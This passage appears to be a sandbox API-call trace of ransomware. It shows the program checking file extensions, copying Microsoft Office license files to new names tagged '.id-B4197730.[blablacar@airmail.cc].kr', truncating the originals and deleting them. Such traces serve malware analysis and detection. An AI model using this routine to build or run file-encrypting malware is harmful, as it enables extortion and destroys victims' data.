office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 1 [0193.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0193.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0193.415] lstrlenW (lpString=".doc") returned 4 [0193.415] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.415] lstrlenW (lpString=".docx") returned 5 [0193.415] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.415] lstrlenW (lpString=".pdf") returned 4 [0193.415] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.415] lstrlenW (lpString=".xls") returned 4 [0193.415] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.415] lstrlenW (lpString=".xlsx") returned 5 [0193.415] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.415] lstrlenW (lpString=".ppt") returned 4 [0193.415] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0193.415] lstrlenW (lpString=".zip") returned 4 [0193.415] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.415] lstrlenW (lpString=".rar") returned 4 [0193.415] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.415] lstrlenW (lpString=".bz2") returned 4 [0193.415] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.415] lstrlenW (lpString=".7z") returned 3 [0193.415] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0193.415] lstrlenW (lpString=".dbf") returned 4 [0193.415] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0193.416] lstrlenW (lpString=".1cd") returned 4 [0193.416] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0193.416] lstrlenW (lpString=".jpg") returned 4 [0193.416] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0193.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0193.416] lstrlenW (lpString=".doc") returned 4 [0193.416] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.416] lstrlenW (lpString=".docx") returned 5 [0193.416] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.416] lstrlenW (lpString=".pdf") returned 4 [0193.416] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.416] lstrlenW (lpString=".xls") returned 4 [0193.416] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.416] lstrlenW (lpString=".xlsx") returned 5 [0193.416] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.416] lstrlenW (lpString=".ppt") returned 4 [0193.416] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0193.416] lstrlenW (lpString=".zip") returned 4 [0193.416] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.416] lstrlenW (lpString=".rar") returned 4 [0193.416] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.416] lstrlenW (lpString=".bz2") returned 4 [0193.416] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.416] lstrlenW (lpString=".7z") returned 3 [0193.416] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0193.417] lstrlenW (lpString=".dbf") returned 4 [0193.417] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0193.417] lstrlenW (lpString=".1cd") returned 4 [0193.417] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0193.417] lstrlenW (lpString=".jpg") returned 4 [0193.417] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.417] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.417] lstrlenW (lpString="client-issuance-ul-oob.xrm-ms") returned 29 [0193.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0193.418] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=4392) returned 1 [0193.418] CloseHandle (hObject=0x54c) returned 1 [0193.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 0x220 [0193.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0193.418] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.419] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0193.420] GetLastError () returned 0x0 [0193.420] ReadFile (in: hFile=0x54c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x1128, lpOverlapped=0x0) returned 1 [0193.422] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x1130, lpOverlapped=0x0) returned 1 [0193.423] ReadFile (in: hFile=0x54c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.423] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10e, lpOverlapped=0x0) returned 1 [0193.423] SetEndOfFile (hFile=0x518) returned 1 [0193.423] CloseHandle (hObject=0x518) returned 1 [0193.423] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.423] SetEndOfFile (hFile=0x54c) returned 1 [0193.427] CloseHandle (hObject=0x54c) returned 1 [0193.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 1 [0193.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0193.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0193.428] lstrlenW (lpString=".doc") returned 4 [0193.428] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.428] lstrlenW (lpString=".docx") returned 5 [0193.428] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.428] lstrlenW (lpString=".pdf") returned 4 [0193.428] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.429] lstrlenW (lpString=".xls") returned 4 [0193.429] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.429] lstrlenW (lpString=".xlsx") returned 5 [0193.429] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.429] lstrlenW (lpString=".ppt") returned 4 [0193.429] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0193.429] lstrlenW (lpString=".zip") returned 4 [0193.429] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.429] lstrlenW (lpString=".rar") returned 4 [0193.429] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.429] lstrlenW (lpString=".bz2") returned 4 [0193.429] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.429] lstrlenW (lpString=".7z") returned 3 [0193.429] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0193.429] lstrlenW (lpString=".dbf") returned 4 [0193.429] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0193.429] lstrlenW (lpString=".1cd") returned 4 [0193.429] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0193.429] lstrlenW (lpString=".jpg") returned 4 [0193.429] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0193.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0193.430] lstrlenW (lpString=".doc") returned 4 [0193.430] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.430] lstrlenW (lpString=".docx") returned 5 [0193.430] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.430] lstrlenW (lpString=".pdf") returned 4 [0193.430] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.430] lstrlenW (lpString=".xls") returned 4 [0193.430] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.430] lstrlenW (lpString=".xlsx") returned 5 [0193.430] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.430] lstrlenW (lpString=".ppt") returned 4 [0193.430] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0193.430] lstrlenW (lpString=".zip") returned 4 [0193.430] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.430] lstrlenW (lpString=".rar") returned 4 [0193.430] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.430] lstrlenW (lpString=".bz2") returned 4 [0193.430] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.430] lstrlenW (lpString=".7z") returned 3 [0193.430] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0193.430] lstrlenW (lpString=".dbf") returned 4 [0193.430] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0193.430] lstrlenW (lpString=".1cd") returned 4 [0193.430] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0193.430] lstrlenW (lpString=".jpg") returned 4 [0193.430] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.431] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.431] lstrlenW (lpString="client-issuance-ul.xrm-ms") returned 25 [0193.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0193.459] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=4208) returned 1 [0193.459] CloseHandle (hObject=0x54c) returned 1 [0193.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 0x220 [0193.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0193.460] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.460] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0193.461] GetLastError () returned 0x0 [0193.461] ReadFile (in: hFile=0x54c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x1070, lpOverlapped=0x0) returned 1 [0193.463] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x1080, lpOverlapped=0x0) returned 1 [0193.464] ReadFile (in: hFile=0x54c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.464] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x106, lpOverlapped=0x0) returned 1 [0193.464] SetEndOfFile (hFile=0x518) returned 1 [0193.464] CloseHandle (hObject=0x518) returned 1 [0193.464] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.464] SetEndOfFile (hFile=0x54c) returned 1 [0193.467] CloseHandle (hObject=0x54c) returned 1 [0193.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.468] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 1 [0193.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0193.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0193.468] lstrlenW (lpString=".doc") returned 4 [0193.468] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.468] lstrlenW (lpString=".docx") returned 5 [0193.468] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.468] lstrlenW (lpString=".pdf") returned 4 [0193.468] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.468] lstrlenW (lpString=".xls") returned 4 [0193.469] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.469] lstrlenW (lpString=".xlsx") returned 5 [0193.469] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.469] lstrlenW (lpString=".ppt") returned 4 [0193.469] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0193.469] lstrlenW (lpString=".zip") returned 4 [0193.469] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.469] lstrlenW (lpString=".rar") returned 4 [0193.469] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.469] lstrlenW (lpString=".bz2") returned 4 [0193.469] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.469] lstrlenW (lpString=".7z") returned 3 [0193.469] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0193.469] lstrlenW (lpString=".dbf") returned 4 [0193.469] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0193.469] lstrlenW (lpString=".1cd") returned 4 [0193.469] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0193.469] lstrlenW (lpString=".jpg") returned 4 [0193.469] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0193.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0193.470] lstrlenW (lpString=".doc") returned 4 [0193.470] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.470] lstrlenW (lpString=".docx") returned 5 [0193.470] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.470] lstrlenW (lpString=".pdf") returned 4 [0193.470] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.470] lstrlenW (lpString=".xls") returned 4 [0193.470] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.470] lstrlenW (lpString=".xlsx") returned 5 [0193.470] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.470] lstrlenW (lpString=".ppt") returned 4 [0193.470] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0193.470] lstrlenW (lpString=".zip") returned 4 [0193.470] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.470] lstrlenW (lpString=".rar") returned 4 [0193.470] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.470] lstrlenW (lpString=".bz2") returned 4 [0193.470] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.470] lstrlenW (lpString=".7z") returned 3 [0193.470] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0193.470] lstrlenW (lpString=".dbf") returned 4 [0193.470] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0193.470] lstrlenW (lpString=".1cd") returned 4 [0193.470] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0193.471] lstrlenW (lpString=".jpg") returned 4 [0193.471] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.471] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.471] lstrlenW (lpString="ExcelR_Grace-ppd.xrm-ms") returned 23 [0193.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0193.474] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=20841) returned 1 [0193.474] CloseHandle (hObject=0x54c) returned 1 [0193.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 0x220 [0193.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0193.474] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.474] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0193.476] GetLastError () returned 0x0 [0193.476] ReadFile (in: hFile=0x54c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x5169, lpOverlapped=0x0) returned 1 [0193.679] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5170, lpOverlapped=0x0) returned 1 [0193.680] ReadFile (in: hFile=0x54c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.680] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x102, lpOverlapped=0x0) returned 1 [0193.681] SetEndOfFile (hFile=0x518) returned 1 [0193.681] CloseHandle (hObject=0x518) returned 1 [0193.681] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.681] SetEndOfFile (hFile=0x54c) returned 1 [0193.684] CloseHandle (hObject=0x54c) returned 1 [0193.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 1 [0193.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0193.685] 